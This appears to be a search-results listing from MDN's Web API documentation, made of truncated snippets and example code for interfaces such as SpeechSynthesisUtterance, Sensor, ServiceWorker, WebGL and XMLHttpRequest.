<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 23.333333333333332%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 140" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151...
...#d4dde4"/><a xlink:href="/docs/web/api/svguseelement" target="_top"><rect x="131" y="65" width="130" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="196" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">svguseelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties this interface also inherits properties from its parent interface, svggraphicselement and implements properties from svgurireference.
ScreenOrientation.onchange - Web APIs
the onchange property of the screenorientation is an event handler fired whenever is the eventhandler called when the screen changes orientation.
... syntax screenorientation.addeventlistener('change', function(e) { ...
ScriptProcessorNode.bufferSize - Web APIs
for each channel and each sample frame, the scriptnode.onaudioprocess function takes the associated audioprocessingevent and uses it to loop through each channel of the input buffer, and each sample in each channel, and add a small amount of white noise, before setting that result to be the output sample in each case.
... request.open('get', 'viper.ogg', true); request.responsetype = 'arraybuffer'; request.onload = function() { var audiodata = request.response; audioctx.decodeaudiodata(audiodata, function(buffer) { mybuffer = buffer; source.buffer = mybuffer; }, function(e){"error with decoding audio data" + e.err}); } request.send(); } // give the node a function to process audio events scriptnode.onaudioprocess = function(audioprocessingevent) { // the input buffer is the song we loaded earlier var inputbuffer = audioprocessingevent.inputbuffer; // the output buffer contains the samples that will be modified and played var outputbuffer = audioprocessingevent.outputbuffer; // loop through the output channels (in this case there is only one) for (var channel = 0; c...
Selection.containsNode() - Web APIs
it uses addeventlistener() to check for selectionchange events.
... html <p>can you find the secret word?</p> <p>hmm, where <span id="secret" style="color:transparent">secret</span> could it be?</p> <p id="win" hidden>you found it!</p> javascript const secret = document.getelementbyid('secret'); const win = document.getelementbyid('win'); // listen for selection changes document.addeventlistener('selectionchange', () => { const selection = window.getselection(); const found = selection.containsnode(secret); win.toggleattribute('hidden', !found); }); result specifications specification status comment selection apithe definition of 'selection.containsnode()' in that specification.
Sensor.onactivate - Web APIs
WebAPISensoronactivate
the onactivate eventhandler is called when one of the sensor interface's child interfaces becomes active.
... syntax sensorinstance.onactivate = function sensorinstance.addeventlistener('activate', function() { ...
Sensor.onerror - Web APIs
WebAPISensoronerror
the onerror eventhandler is called when an error occurs on one of the child interfaces of the sensor interface.
... syntax sensorinstance.onerror = function sensorinstance.addeventlistener('error', function() { ...
Sensor.onreading - Web APIs
WebAPISensoronreading
the onreading eventhandler is called when a reading is taken on one of the child interfaces of the sensor interface.
... syntax sensorinstance.onreading = function sensorinstance.addeventlistener('reading', function() { ...
Sensor - Web APIs
WebAPISensor
instead it provides properties, event handlers, and methods accessed by interfaces that inherit from it.
... event handlers sensor.onerror called when an error occurs on one of the child interfaces of the sensor interface.
ServiceWorker.state - Web APIs
syntax someurl = serviceworker.state value a serviceworkerstate definition (see the spec.) examples this code snippet is from the service worker registration-events sample (live demo).
...ocument.queryselector('#kind').textcontent = 'installing'; } else if (registration.waiting) { serviceworker = registration.waiting; document.queryselector('#kind').textcontent = 'waiting'; } else if (registration.active) { serviceworker = registration.active; document.queryselector('#kind').textcontent = 'active'; } if (serviceworker) { logstate(serviceworker.state); serviceworker.addeventlistener('statechange', function(e) { logstate(e.target.state); }); } specifications specification status comment service workersthe definition of 'state' in that specification.
ServiceWorkerContainer.oncontrollerchange - Web APIs
the oncontrollerchange property of the serviceworkercontainer interface is an event handler fired whenever a controllerchange event occurs — when the document's associated serviceworkerregistration acquires a new active worker.
... syntax serviceworkercontainer.oncontrollerchange = function(controllerchangeevent) { ...
ServiceWorkerRegistration.showNotification() - Web APIs
appropriate responses are built using event.action within the notificationclick event.
...buzz!', icon: '../images/touch/chrome-touch-icon-192x192.png', vibrate: [200, 100, 200, 100, 200, 100, 200], tag: 'vibration-sample' }); }); } }); } to invoke the above function at an appropriate time, you could use the serviceworkerglobalscope.onnotificationclick event handler.
SpeechRecognition.onerror - Web APIs
the onerror property of the speechrecognition interface represents an event handler that will run when a speech recognition error occurs (when the error event fires.) syntax myspeechrecognition.onerror = function() { ...
... }; examples var recognition = new speechrecognition(); recognition.onerror = function(event) { console.log('speech recognition error detected: ' + event.error); } specifications specification status comment web speech apithe definition of 'onerror' in that specification.
SpeechRecognitionAlternative.confidence - Web APIs
recognition.onresult = function(event) { // the speechrecognitionevent results property returns a speechrecognitionresultlist object // the speechrecognitionresultlist object contains speechrecognitionresult objects.
... // we then return the transcript property of the speechrecognitionalternative object var color = event.results[0][0].transcript; diagnostic.textcontent = 'result received: ' + color + '.'; bg.style.backgroundcolor = color; console.log('confidence: ' + event.results[0][0].confidence); } specifications specification status comment web speech apithe definition of 'confidence' in that specification.
SpeechRecognitionAlternative.transcript - Web APIs
recognition.onresult = function(event) { // the speechrecognitionevent results property returns a speechrecognitionresultlist object // the speechrecognitionresultlist object contains speechrecognitionresult objects.
... // we then return the transcript property of the speechrecognitionalternative object var color = event.results[0][0].transcript; diagnostic.textcontent = 'result received: ' + color + '.'; bg.style.backgroundcolor = color; } specifications specification status comment web speech apithe definition of 'transcript' in that specification.
SpeechRecognitionAlternative - Web APIs
recognition.onresult = function(event) { // the speechrecognitionevent results property returns a speechrecognitionresultlist object // the speechrecognitionresultlist object contains speechrecognitionresult objects.
... // we then return the transcript property of the speechrecognitionalternative object var color = event.results[0][0].transcript; diagnostic.textcontent = 'result received: ' + color + '.'; bg.style.backgroundcolor = color; } specifications specification status comment web speech apithe definition of 'speechrecognitionalternative' in that specification.
SpeechRecognitionResult.isFinal - Web APIs
examples recognition.onresult = function(event) { // the speechrecognitionevent results property returns a speechrecognitionresultlist object // the speechrecognitionresultlist object contains speechrecognitionresult objects.
... // we then return the transcript property of the speechrecognitionalternative object var color = event.results[0][0].transcript; diagnostic.textcontent = 'result received: ' + color + '.'; bg.style.backgroundcolor = color; console.log(event.results[0].isfinal); } specifications specification status comment web speech apithe definition of 'isfinal' in that specification.
SpeechRecognitionResult.item() - Web APIs
recognition.onresult = function(event) { // the speechrecognitionevent results property returns a speechrecognitionresultlist object // the speechrecognitionresultlist object contains speechrecognitionresult objects.
... // we then return the transcript property of the speechrecognitionalternative object var color = event.results[0][0].transcript; diagnostic.textcontent = 'result received: ' + color + '.'; bg.style.backgroundcolor = color; } specifications specification status comment web speech apithe definition of 'item()' in that specification.
SpeechRecognitionResult.length - Web APIs
recognition.onresult = function(event) { // the speechrecognitionevent results property returns a speechrecognitionresultlist object // the speechrecognitionresultlist object contains speechrecognitionresult objects.
... // we then return the transcript property of the speechrecognitionalternative object var color = event.results[0][0].transcript; diagnostic.textcontent = 'result received: ' + color + '.'; bg.style.backgroundcolor = color; console.log(event.results[0].length); } specifications specification status comment web speech apithe definition of 'length' in that specification.
SpeechRecognitionResult - Web APIs
recognition.onresult = function(event) { // the speechrecognitionevent results property returns a speechrecognitionresultlist object // the speechrecognitionresultlist object contains speechrecognitionresult objects.
... // we then return the transcript property of the speechrecognitionalternative object var color = event.results[0][0].transcript; diagnostic.textcontent = 'result received: ' + color + '.'; bg.style.backgroundcolor = color; } specifications specification status comment web speech apithe definition of 'speechrecognitionresult' in that specification.
SpeechRecognitionResultList.item() - Web APIs
recognition.onresult = function(event) { // the speechrecognitionevent results property returns a speechrecognitionresultlist object // the speechrecognitionresultlist object contains speechrecognitionresult objects.
... // we then return the transcript property of the speechrecognitionalternative object var color = event.results[0][0].transcript; diagnostic.textcontent = 'result received: ' + color + '.'; bg.style.backgroundcolor = color; } specifications specification status comment web speech apithe definition of 'item()' in that specification.
SpeechRecognitionResultList.length - Web APIs
recognition.onresult = function(event) { // the speechrecognitionevent results property returns a speechrecognitionresultlist object // the speechrecognitionresultlist object contains speechrecognitionresult objects.
... // we then return the transcript property of the speechrecognitionalternative object var color = event.results[0][0].transcript; diagnostic.textcontent = 'result received: ' + color + '.'; bg.style.backgroundcolor = color; console.log(event.results.length); } specifications specification status comment web speech apithe definition of 'length' in that specification.
SpeechRecognitionResultList - Web APIs
recognition.onresult = function(event) { // the speechrecognitionevent results property returns a speechrecognitionresultlist object // the speechrecognitionresultlist object contains speechrecognitionresult objects.
... // we then return the transcript property of the speechrecognitionalternative object var color = event.results[0][0].transcript; diagnostic.textcontent = 'result received: ' + color + '.'; bg.style.backgroundcolor = color; } specifications specification status comment web speech apithe definition of 'speechrecognitionresultlist' in that specification.
SpeechSynthesisUtterance.onboundary - Web APIs
the onboundary property of the speechsynthesisutterance interface represents an event handler that will run when the spoken utterance reaches a word or sentence boundary (when the boundary event fires.) syntax speechsynthesisutteranceinstance.onboundary = function() { ...
... inputform.onsubmit = function(event) { event.preventdefault(); var utterthis = new speechsynthesisutterance(inputtxt.value); var selectedoption = voiceselect.selectedoptions[0].getattribute('data-name'); for(i = 0; i < voices.length ; i++) { if(voices[i].name === selectedoption) { utterthis.voice = voices[i]; } } synth.speak(utterthis); utterthis.onboundary = function(event) { console.log(event.name + ' boundary reached after ' + event.elapsedtime + ' milliseconds.'); } inputtxt.blur(); } specifications spe...
SpeechSynthesisUtterance.onend - Web APIs
the onend property of the speechsynthesisutterance interface represents an event handler that will run when the utterance has finished being spoken (when the end event fires.) syntax speechsynthesisutteranceinstance.onend = function() { ...
... inputform.onsubmit = function(event) { event.preventdefault(); var utterthis = new speechsynthesisutterance(inputtxt.value); var selectedoption = voiceselect.selectedoptions[0].getattribute('data-name'); for(i = 0; i < voices.length ; i++) { if(voices[i].name === selectedoption) { utterthis.voice = voices[i]; } } synth.speak(utterthis); utterthis.onend = function(event) { console.log('utterance has finished being spoken after ' + event.elapsedtime + ' milliseconds.'); } inputtxt.blur(); } specifications spe...
SpeechSynthesisUtterance.onerror - Web APIs
the onerror property of the speechsynthesisutterance interface represents an event handler that will run when an error occurs that prevents the utterance from being succesfully spoken (when the error event fires.) syntax speechsynthesisutteranceinstance.onerror = function() { ...
... inputform.onsubmit = function(event) { event.preventdefault(); var utterthis = new speechsynthesisutterance(inputtxt.value); var selectedoption = voiceselect.selectedoptions[0].getattribute('data-name'); for(i = 0; i < voices.length ; i++) { if(voices[i].name === selectedoption) { utterthis.voice = voices[i]; } } synth.speak(utterthis); utterthis.onerror = function(event) { console.log('an error has occurred with the speech synthesis: ' + event.error); } inputtxt.blur(); } specifications specification st...
SpeechSynthesisUtterance.onmark - Web APIs
the onmark property of the speechsynthesisutterance interface represents an event handler that will run when the spoken utterance reaches a named ssml mark tag (when the mark event fires.) syntax speechsynthesisutteranceinstance.onmark = function() { ...
... inputform.onsubmit = function(event) { event.preventdefault(); var utterthis = new speechsynthesisutterance(inputtxt.value); var selectedoption = voiceselect.selectedoptions[0].getattribute('data-name'); for(i = 0; i < voices.length ; i++) { if(voices[i].name === selectedoption) { utterthis.voice = voices[i]; } } synth.speak(utterthis); utterthis.onmark = function(event) { console.log('a mark was reached: ' + event.name); } inputtxt.blur(); } specifications specification status comment web sp...
SpeechSynthesisUtterance.onpause - Web APIs
the onpause property of the speechsynthesisutterance interface represents an event handler that will run when the utterance is paused part way through (when the pause event fires.) this occurs when the speechsynthesis.pause() method is invoked.
... inputform.onsubmit = function(event) { event.preventdefault(); var utterthis = new speechsynthesisutterance(inputtxt.value); var selectedoption = voiceselect.selectedoptions[0].getattribute('data-name'); for(i = 0; i < voices.length ; i++) { if(voices[i].name === selectedoption) { utterthis.voice = voices[i]; } } synth.speak(utterthis); utterthis.onpause = function(event) { console.log('speech paused after ' + event.elapsedtime + ' milliseconds.'); } ...
SpeechSynthesisUtterance.onresume - Web APIs
the onresume property of the speechsynthesisutterance interface represents an event handler that will run when a paused utterance is resumed (when the resume event fires.) this occurs when the speechsynthesis.resume() method is invoked on a paused speech synthesis instance.
... inputform.onsubmit = function(event) { event.preventdefault(); var utterthis = new speechsynthesisutterance(inputtxt.value); var selectedoption = voiceselect.selectedoptions[0].getattribute('data-name'); for(i = 0; i < voices.length ; i++) { if(voices[i].name === selectedoption) { utterthis.voice = voices[i]; } } synth.speak(utterthis); utterthis.onresume = function(event) { console.log('speech resumed after ' + event.elapsedtime + ' milliseconds.'); }...
SpeechSynthesisUtterance.onstart - Web APIs
the onstart property of the speechsynthesisutterance interface represents an event handler that will run when the utterance has begun to be spoken (when the start event fires.) this occurs when the speechsynthesis.speak() method is invoked.
... inputform.onsubmit = function(event) { event.preventdefault(); var utterthis = new speechsynthesisutterance(inputtxt.value); var selectedoption = voiceselect.selectedoptions[0].getattribute('data-name'); for(i = 0; i < voices.length ; i++) { if(voices[i].name === selectedoption) { utterthis.voice = voices[i]; } } synth.speak(utterthis); utterthis.onstart = function(event) { console.log('we have started uttering this speech: ' + event.utterance.text); } ...
SpeechSynthesisVoice - Web APIs
+ ')'; if(voices[i].default) { option.textcontent += ' -- default'; } option.setattribute('data-lang', voices[i].lang); option.setattribute('data-name', voices[i].name); voiceselect.appendchild(option); } } populatevoicelist(); if (speechsynthesis.onvoiceschanged !== undefined) { speechsynthesis.onvoiceschanged = populatevoicelist; } inputform.onsubmit = function(event) { event.preventdefault(); var utterthis = new speechsynthesisutterance(inputtxt.value); var selectedoption = voiceselect.selectedoptions[0].getattribute('data-name'); for(i = 0; i < voices.length ; i++) { if(voices[i].name === selectedoption) { utterthis.voice = voices[i]; } } utterthis.pitch = pitch.value; utterthis.rate = rate.value; synth.speak(utterthis); ut...
...terthis.onpause = function(event) { var char = event.utterance.text.charat(event.charindex); console.log('speech paused at character ' + event.charindex + ' of "' + event.utterance.text + '", which is "' + char + '".'); } inputtxt.blur(); } specifications specification status comment web speech apithe definition of 'speechsynthesisvoice' in that specification.
StereoPannerNode.pan - Web APIs
we then use an oninput event handler to change the value of the stereopannernode.pan parameter and update the pan value display when the slider is moved.
...document.queryselector('audio'); var pancontrol = document.queryselector('.panning-control'); var panvalue = document.queryselector('.panning-value'); pre.innerhtml = myscript.innerhtml; // create a mediaelementaudiosourcenode // feed the htmlmediaelement into it var source = audioctx.createmediaelementsource(myaudio); // create a stereo panner var pannode = audioctx.createstereopanner(); // event handler function to increase panning to the right and left // when the slider is moved pancontrol.oninput = function() { pannode.pan.setvalueattime(pancontrol.value, audioctx.currenttime); panvalue.innerhtml = pancontrol.value; } // connect the mediaelementaudiosourcenode to the pannode // and the pannode to the destination, so we can play the // music and adjust the panning using the contr...
StereoPannerNode - Web APIs
we then use an oninput event handler to change the value of the stereopannernode.pan parameter and update the pan value display when the slider is moved.
...document.queryselector('audio'); var pancontrol = document.queryselector('.panning-control'); var panvalue = document.queryselector('.panning-value'); pre.innerhtml = myscript.innerhtml; // create a mediaelementaudiosourcenode // feed the htmlmediaelement into it var source = audioctx.createmediaelementsource(myaudio); // create a stereo panner var pannode = audioctx.createstereopanner(); // event handler function to increase panning to the right and left // when the slider is moved pancontrol.oninput = function() { pannode.pan.setvalueattime(pancontrol.value, audioctx.currenttime); panvalue.innerhtml = pancontrol.value; } // connect the mediaelementaudiosourcenode to the pannode // and the pannode to the destination, so we can play the // music and adjust the panning using the contr...
Storage API - Web APIs
both of these values are estimates; there are several reasons why they're not precise: user agents are encouraged to obscure the exact size of the data used by a given origin, to prevent these values from being used for fingerprinting purposes.
... quotas are conservative estimates of the space available for the origin's use, and should be less than the available space on the device to help prevent overruns.
Using readable streams - Web APIs
note: in order to consume a stream using fetchevent.respondwith(), the enqueued stream contents must be of type uint8array; for example, encoded using textencoder.
... const stream = new readablestream({ start(controller) { interval = setinterval(() => { let string = randomchars(); // add the string to the stream controller.enqueue(string); // show it on the screen let listitem = document.createelement('li'); listitem.textcontent = string; list1.appendchild(listitem); }, 1000); button.addeventlistener('click', function() { clearinterval(interval); readstream(); controller.close(); }) }, pull(controller) { // we don't really need a pull in this example }, cancel() { // this is called if the reader cancels, // so we should stop generating strings clearinterval(interval); } }); in the readstream() function itself, we lock a reader to the st...
SubtleCrypto.deriveKey() - Web APIs
let encryptbutton = document.queryselector(".ecdh .encrypt-button"); encryptbutton.addeventlistener("click", () => { encrypt(alicessecretkey); }); // bob can use his copy to decrypt the message.
... let decryptbutton = document.queryselector(".ecdh .decrypt-button"); decryptbutton.addeventlistener("click", () => { decrypt(bobssecretkey); }); } pbkdf2 in this example we ask the user for a password, then use it to derive an aes key using pbkdf2, then use the aes key to encrypt a message.
registration - Web APIs
the registration read-only property of the syncevent interface returns a reference to a syncregistration object.
... syntax var syncreg = syncevent.registration value a syncregistration object ...
Text - Web APIs
WebAPIText
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 11.666666666666666%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 70" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151...
..." y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/text" target="_top"><rect x="436" y="1" width="75" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="473.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">text</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} constructor text() returns a text node with the parameter as its textual content.
Touch.radiusY - Web APIs
WebAPITouchradiusY
it is specified in the touch events – level 2 draft specification and not in touch events recommendation.
... specifications specification status comment touch events – level 2 draft non-stable version.
Touch.rotationAngle - Web APIs
it is specified in the touch events – level 2 draft specification and not in touch events recommendation.
... specifications specification status comment touch events – level 2 draft non-stable version.
Touch.screenY - Web APIs
WebAPITouchscreenY
specifications specification status comment touch events – level 2 draft non-stable version.
... touch events recommendation initial definition.
Touch - Web APIs
WebAPITouch
specifications specification status comment touch events – level 2the definition of 'touch' in that specification.
... touch eventsthe definition of 'touch' in that specification.
TrackDefaultList - Web APIs
properties inherits properties from its parent interface, eventtarget.
... methods inherits properties from its parent interface, eventtarget.
USB - Web APIs
WebAPIUSB
event handlers usb.onconnect an event handler called whenever a previously paired device is connected.
... usb.ondisconnect an event handler called whenever a paired device is disconnected.
Using the User Timing API - Web APIs
mark events are named by the application and can be set at any location in an application.
... measure events are also named by the application but they are placed between two marks thus they are effectively a midpoint between two marks.
VisualViewport.onresize - Web APIs
the onresize event handler of the visualviewport interface is called when a viewport is resized, i.e.
... when the resize event is fired.
VisualViewport.onscroll - Web APIs
the onscroll event handler of the visualviewport interface is called when a viewport is scrolled, i.e.
... when the scroll event is fired.
WakeLockSentinel.release() - Web APIs
you should always listen for the onrelease event to check if a wake lock has been released.
... wakelockoffbutton.addeventlistener('click', () => { wakelocksentinel.release(); }) specifications specification status comment screen wake lock apithe definition of 'release()' in that specification.
Color masking - Web APIs
ight : 210px; margin : auto; padding : 0; border : none; background-color : black; } button { display : inline-block; font-family : serif; font-size : inherit; font-weight : 900; color : white; margin : auto; padding : 0.6em 1.2em; } #red-toggle { background-color : red; } #green-toggle { background-color : green; } #blue-toggle { background-color : blue; } window.addeventlistener("load", function setupanimation (evt) { "use strict" window.removeeventlistener(evt.type, setupanimation, false); var canvas = document.queryselector("canvas"); var gl = canvas.getcontext("webgl") || canvas.getcontext("experimental-webgl"); if (!gl) { document.queryselector("p").innerhtml = "failed to get webgl context." + "your browser or device may not s...
...upport webgl."; return; } gl.viewport(0, 0, gl.drawingbufferwidth, gl.drawingbufferheight); var timer = setinterval(drawanimation, 1000); var mask = [true, true, true]; var redtoggle = document.queryselector("#red-toggle"), greentoggle = document.queryselector("#green-toggle"), bluetoggle = document.queryselector("#blue-toggle"); redtoggle.addeventlistener("click", setcolormask, false); greentoggle.addeventlistener("click", setcolormask, false); bluetoggle.addeventlistener("click", setcolormask, false); function setcolormask(evt) { var index = evt.target === greentoggle && 1 || evt.target === bluetoggle && 2 || 0; mask[index] = !mask[index]; if (mask[index] === true) evt.target.innerhtml="on"; else evt.target.inn...
Using textures in WebGL - Web APIs
gl.texparameteri(gl.texture_2d, gl.texture_min_filter, gl.linear); // prevents s-coordinate wrapping (repeating).
... gl.texparameteri(gl.texture_2d, gl.texture_wrap_s, gl.clamp_to_edge); // prevents t-coordinate wrapping (repeating).
WebGL best practices - Web APIs
highp float; precision highp int; precision lowp sampler2d; precision lowp samplercube; the fragment language has the following predeclared globally scoped default precision statements: precision mediump int; precision lowp sampler2d; precision lowp samplercube; in webgl 1, "highp float" support is optional in fragment shaders using highp precision unconditionally in fragment shaders will prevent your content from working on some older mobile hardware.
... const buf = gl.createbuffer(); gl.bindbuffer(gl.pixel_pack_buffer, buf); gl.bufferdata(gl.pixel_pack_buffer, dest.bytelength, gl.stream_read); gl.readpixels(x, y, w, h, format, type, 0); gl.bindbuffer(gl.pixel_pack_buffer, null); await getbuffersubdataasync(gl, gl.pixel_pack_buffer, buf, 0, dest); gl.deletebuffer(buf); return dest; } canvas and webgl-related some tips are relevent to webgl, but deal with other apis.
WebGL: 2D and 3D graphics for the web - Web APIs
WebAPIWebGL API
reference standard interfaces webglrenderingcontext webgl2renderingcontext webglactiveinfo webglbuffer webglcontextevent webglframebuffer webglprogram webglquery webglrenderbuffer webglsampler webglshader webglshaderprecisionformat webglsync webgltexture webgltransformfeedback webgluniformlocation webglvertexarrayobject extensions angle_instanced_arrays ext_blend_minmax ext_color_buffer_float ext_color_buffer_half_float ext_disjoint_timer_query ext_float_blend ext_frag_depth ext_srgb ex...
... oes_vertex_array_object ovr_multiview2 webgl_color_buffer_float webgl_compressed_texture_astc webgl_compressed_texture_atc webgl_compressed_texture_etc webgl_compressed_texture_etc1 webgl_compressed_texture_pvrtc webgl_compressed_texture_s3tc webgl_compressed_texture_s3tc_srgb webgl_debug_renderer_info webgl_debug_shaders webgl_depth_texture webgl_draw_buffers webgl_lose_context events webglcontextlost webglcontextrestored webglcontextcreationerror constants and types webgl constants webgl types webgl 2 webgl 2 is a major update to webgl which is provided through the webgl2renderingcontext interface.
WebRTC connectivity - Web APIs
it's a legacy notification of a state which can be detected instead by watching for the icegatheringstate to change to complete, by watching for the icegatheringstatechange event.
...for example, when renegotiating a connection—for example, to adapt to changing hardware or network configurations—it's possible that negotiation could reach a dead end, or some form of error might occur that prevents negotiation at all.
Introduction to WebRTC protocols - Web APIs
it needs to bypass firewalls that would prevent opening connections, give you a unique address if like most situations your device doesn’t have a public ip address, and relay data through a server if your router doesn’t allow you to directly connect with peers.
... stun session traversal utilities for nat (stun) (acronym within an acronym) is a protocol to discover your public address and determine any restrictions in your router that would prevent a direct connection with a peer.
Lifetime of a WebRTC session - Web APIs
each peer establishes a handler for icecandidate events, which handles sending those candidates to the other peer over the signaling channel.
... each peer establishes a handler for track event, which is received when the remote peer adds a track to the stream.
WebXR performance guide - Web APIs
this section will combine information from https://github.com/immersive-web/webxr/blob/master/explainer.md#controlling-depth-precision and https://github.com/immersive-web/webxr/blob/master/explainer.md#preventing-the-compositor-from-using-the-depth-buffer optimizing memory use when using libraries that perform things such as matrix mathematics, you typically have a number of working variables through which various vectors, matrices, and quaternions pass over time.
... while an individual vector or matrix doesn't occupy an inordinate amount of memory, the sheer number of vectors and matrices and other structures that are used to build each frame of a 3d scene means the memory management becomes a problem eventually if you keep allocating and de-allocating memory objects.
Using IIR filters - Web APIs
the play button html looks like this: <button class="button-play" role="switch" data-playing="false" aria-pressed="false">play</button> and the click event listener starts like so: playbutton.addeventlistener('click', function() { if (this.dataset.playing === 'false') { srcnode = playsourcenode(audioctx, sample); ...
...first, the html: <button class="button-filter" role="switch" data-filteron="false" aria-pressed="false" aria-describedby="label" disabled></button> the filter button's click handler then connects the iirfilter up to the graph, between the source and the detination: filterbutton.addeventlistener('click', function() { if (this.dataset.filteron === 'false') { srcnode.disconnect(audioctx.destination); srcnode.connect(iirfilter).connect(audioctx.destination); ...
Functions and classes available to Web Workers - Web APIs
customevent the customevent interface represents events initialized by an application for any purpose.
... 28 (28) (yes) (yes) (yes) server-sent events allows a server to push data to a web page at any point, after a connection has been opened to it.
Web Workers API - Web APIs
data is sent between workers and the main thread via a system of messages — both sides send their messages using the postmessage() method, and respond to messages via the onmessage event handler (the message is contained within the message event's data property).
... note: as per the web workers spec, worker error events should not bubble (see bug 1188141.
Window.fullScreen - Web APIs
WebAPIWindowfullScreen
this is to prevent scripts designed to set this property in internet explorer from breaking.
... notes switching between regular window and full screen will fire the "resize" event on the corresponding window.
window.location - Web APIs
WebAPIWindowlocation
note that security settings, like cors, may prevent this to effectively happen.
...ly + (_nodey - _scrolly) * _itframe / nframes); document.documentelement.scrollleft = math.round(_scrollx + (_nodex - _scrollx) * _itframe / nframes); if (_usehash && _itframe === nframes) { location.hash = _bookmark; } _itframe++; } function _chkowner () { if (_isbot) { _isbot = false; return; } if (_scrollid > -1) { clearinterval(_scrollid); _scrollid = -1; } } if (window.addeventlistener) { window.addeventlistener("scroll", _chkowner, false); } else if (window.attachevent) { window.attachevent("onscroll", _chkowner); } return function (sbookmark, busehash) { var onode = document.queryselector(sbookmark); _scrolly = document.documentelement.scrolltop; _scrollx = document.documentelement.scrollleft; _bookmark = sbookmark; _usehash = busehash === true; _no...
Window.speechSynthesis - Web APIs
inside the inputform.onsubmit handler, we stop the form submitting with preventdefault(), create a new speechsynthesisutterance instance containing the text from the text <input>, set the utterance's voice to the voice selected in the <select> element, and start the utterance speaking via the speechsynthesis.speak() method.
...+ ')'; if(voices[i].default) { option.textcontent += ' -- default'; } option.setattribute('data-lang', voices[i].lang); option.setattribute('data-name', voices[i].name); voiceselect.appendchild(option); } } populatevoicelist(); if (speechsynthesis.onvoiceschanged !== undefined) { speechsynthesis.onvoiceschanged = populatevoicelist; } inputform.onsubmit = function(event) { event.preventdefault(); var utterthis = new speechsynthesisutterance(inputtxt.value); var selectedoption = voiceselect.selectedoptions[0].getattribute('data-name'); for(i = 0; i < voices.length ; i++) { if(voices[i].name === selectedoption) { utterthis.voice = voices[i]; } } synth.speak(utterthis); inputtxt.blur(); } specifications specification statu...
WindowOrWorkerGlobalScope.setInterval() - Web APIs
minidaemon - a framework for managing timers in pages requiring many timers, it can often be difficult to keep track of all of the running timer events.
...for example, if using setinterval() to poll a remote server every 5 seconds, network latency, an unresponsive server, and a host of other issues could prevent the request from completing in its allotted time.
WindowOrWorkerGlobalScope.setTimeout() - Web APIs
if this parameter is omitted, a value of 0 is used, meaning execute "immediately", or more accurately, the next event cycle.
... firing is deferred until the mainthread is deemed idle (similar to window.requestidlecallback()), or until the load event is fired.
WorkerGlobalScope.onclose - Web APIs
summary the onclose property of the workerglobalscope interface represents an eventhandler to be called when the close event occurs and bubbles through the worker.
... this non-standard event handler was only implemented by a few browsers and has been removed from all or nearly all of them.
XDomainRequest.ontimeout - Web APIs
an event handler which is called when a pending xdomainrequest times out.
... syntax xdr.ontimeout = funcref; parameters funcref a function to be called when the event times out.
XMLDocument - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 11.666666666666666%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 70" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151...
...oke="#d4dde4"/><a xlink:href="/docs/web/api/xmldocument" target="_top"><rect x="386" y="1" width="110" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="441" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">xmldocument</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} property also inherits properties from: document xmldocument.async used with xmldocument.load() to indicate an asynchronous request.
XMLHttpRequest.multipart - Web APIs
please use server-sent events, web sockets, or responsetext from progress events instead.
... note: when this is set, the onload handler and other event handlers are not reset after the first xmldocument is loaded, and the onload handler is called after each part of the response is received.
XMLHttpRequest.onreadystatechange - Web APIs
an eventhandler that is called whenever the readystate attribute changes.
...the xmlhttprequest.onreadystatechange property contains the event handler to be called when the readystatechange event is fired, that is every time the readystate property of the xmlhttprequest changes.
XMLHttpRequestResponseType - Web APIs
accessing response during a progress event returns the data received so far.
... outside the progress event handler, the value of response is always null.
XRSpace - Web APIs
WebAPIXRSpace
properties the xrspace interface defines no properties of its own; however, it does inherit the properties of its parent interface, eventtarget.
...however, it inherits the methods of eventtarget, its parent interface.
XRSystem: requestSession() - Web APIs
navigator.xr.requestsession("immersive-vr") .then((xrsession) => { xrsession.addeventlistener('end', onxrsessionended); // do necessary session setup here.
